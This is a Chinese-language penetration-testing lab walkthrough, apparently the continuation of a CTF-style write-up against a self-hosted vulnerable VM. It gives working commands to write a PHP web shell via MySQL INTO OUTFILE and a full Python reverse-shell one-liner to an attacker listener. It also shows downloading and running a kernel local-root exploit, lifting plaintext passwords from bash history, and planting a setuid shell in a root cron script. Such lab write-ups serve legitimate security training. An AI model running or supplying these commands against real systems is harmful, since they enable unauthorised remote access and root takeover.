声明:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
建议阅读上一篇后再来阅读本文!!!
六、Mysql攻陷服务器
1、mysql INTO OUT文件上传
MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。
1)INTO OUT 写入shell.php
mysql -uroot -pplbkac -h 192.168.40.152
select "" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
可看到利用INTO OUT特性写入了一句话并导入到本地站目录上!
2)查看是否写入成功
https://192.168.40.152:12380/blogblog/wp-content/uploads/
写入成功!
3)URL执行cmd命令
https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=id
可看到一句话成功写入,利用一句话特性执行了命令获得服务器信息回显!
2、一句话触发反弹shell
1)查看是否可以用Python写入一句话
https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=which%20python
存在python模块!直接利用!
2)开启nc监听
nc -lvp 8887
本地kali开启好监听!
3)在cmd URL写入Python一句话,反弹shell到本地kali
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.149",8887));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功,获得shell
七、内网信息枚举
通过以上各种方法获取到服务器权限后,开启内部信息收集工作!将利用linpeas枚举脚本进行探测行为!
【相关技术文档】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
1、Linpeas文件上传
开启Python http服务,上传linpeas.sh脚本对靶机进行信息收集:
python -m SimpleHTTPServer 8082
wget http://192.168.40.149:8082/linpeas.sh
成功上传!
2、赋权并执行脚本
chmod +x linpeas.sh
/linpeas.sh
赋权后执行该脚本,开始查看收集到的信息,筛查提炼!
3、内部信息收集筛查
1)发现版本信息
可以尝试内核提权!
2)发现用户信息枚举
JKanode:x:1013:1013::/home/JKanode:/bin/bash
peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
peter用户可利用sudo提权!
3)发现数据库信息泄露
之前已经查找到MySQL账户密码!内部也是能枚举到的!
4)发现可写入sh文件
可尝试写入sh文件,漏洞利用提权!
八、提权-三种方法
1、内核提权-方法1
1)kali搜索版本信息,是否存在漏洞
查找版本漏洞:
searchsploit Linux Kernel 4.4.x
可以利用linux/local/39772.txt!
2)39772利用
下载到本目录:
cp /usr/share/exploitdb/exploits/linux/local/39772.txt .
查看39772如何利用:
cat 39772.txt
提示需到exploit-DB下载39772.zip文件!
3)wget下载39772.zip
proxychains wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
成功下载!如果不行挂代理下载!
4)开启http服务,上传到项目
python -m SimpleHTTPServer 8085
wget http://10.211.55.19:8085/39772.zip
利用wget连接本地的http服务成功上传文件!
5)解压并枚举
unzip 39772.zip 解压39772.zip文件
cd 39772 到39772目录下
tar xvf exploit.tar 解压exploit.tar,发现ebpf_mapfd_doubleput_exploit目录
cd ebpf_mapfd_doubleput_exploit 到该目录下,发现compile.sh文件
chmod +x compile.sh 给sh文件赋权
通过zip解压后开始利用!
6)执行文件提权
./compile.sh 执行sh文件
ls 查看,发现是由gcc编译的.c文件
./doubleput 执行.c文件
成功拿到root权限!
2、SSH-sudo登录内核提权-方法2
利用ssh信息收集技巧查看信息!
1)枚举ssh信息
grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。
grep -rn "ssh" ---枚举当前目录下存在ssh信息的内容
JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost
发现2个用户密码:
用户1:peter,密码:JZQuyIN5
用户2:JKanode 密码:thisimypassword
这时候利用账号密码尝试登录!
2)ssh登录用户
JKanode用户登录枚举:
ssh [email protected]
thisimypassword
没什么信息!
peter用户登录枚举:
ssh [email protected]
JZQuyIN5
登录进去发现这是zsh的shell!,并且可以sudo提权!
3)sudo提权
用户信息枚举就发现peter用户存在sudo提权漏洞,查看sudo给
sudo -l
User peter may run the following commands on red:
(ALL : ALL) ALL
可看到给与的权限为ALL最高权限!直接sudo提权:
sudo su
成功提权root!
3、计划任务+可写文件提权-方法3
在内网信息枚举的时候发现可写入sh文件漏洞利用:
[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You can write script: /usr/local/sbin/cron-logrotate.sh
1)查找和logrotate相关的文件信息
利用find全局枚举该文件信息:
find / -name logrotate* 2>/dev/null
发现/etc/cron.d/logrotate文件!
2)查看/etc/cron.d/logrotate文件
cat /etc/cron.d/logrotate
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
可看到每五分钟运行一次cron-logrotate.sh!
3)写入dash代码
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
通过写入代码内容为,复制dash到tmp目录下并赋予最高权限!在tmp目录下生成了exploit可执行文件!
4)运行exploit,获得root权限
/tmp/exploit -p
因为写入的是dash,用-p获取root
获得root权限!获得flag:
cd /root
cat flag.txt
获得flag信息!
九、知识拓展小技巧
smbclient连接共享小技巧
Linux smbclient命令可存取SMB/CIFS服务器的用户端程序。
SMB与CIFS为服务器通信协议,常用于Windows95/98/NT等系统。smbclient(samba client)可让Linux系统存取Windows系统所分享的资源。
smbclient -L //192.168.40.152
-L 显示服务器端所分享出来的所有资源
之前已知kathy和tmp是开放的!
1)连接这2个文件夹
连接kathy文件夹:
smbclient ///kathy -I 192.168.40.152 -N
-I 指定服务器的IP地址
-N 不用询问密码
cd kathy_stuff
get todo-list.txt
cd backup
get vsftpd.conf
get wordpress-4.tar.gz
通过命令连接后发现三个文件信息都成功下载!
连接tmp文件夹:
连接tmp文件夹,下载文件ls至本地
smbclient ///tmp -I 192.168.40.152 -N
get ls
通过命令连接后发现文件信息都成功下载!
2)枚举文件信息
成功下载4个文件后,通过阅读查看均无可用信息!
十、总结
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、FTP信息枚举、Samba信息收集、暴力破解ssh信息枚举、nc信息枚举666端口、枚举12380端口信息收集、Wpscan信息收集、39646 exp利用、Mysql信息枚举、John暴力破解、php-webshell文件上传利用、weevely文件上传利用、webacoo文件上传利用、Msfconsole文件上传上线webshell、mysql INTO OUT文件上传攻陷服务器、Linpeas信息枚举、内核提权、SSH-sudo登录内核提权、计划任务+可写文件提权等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
希望大家提高安全意识,没有网络安全就没有国家安全!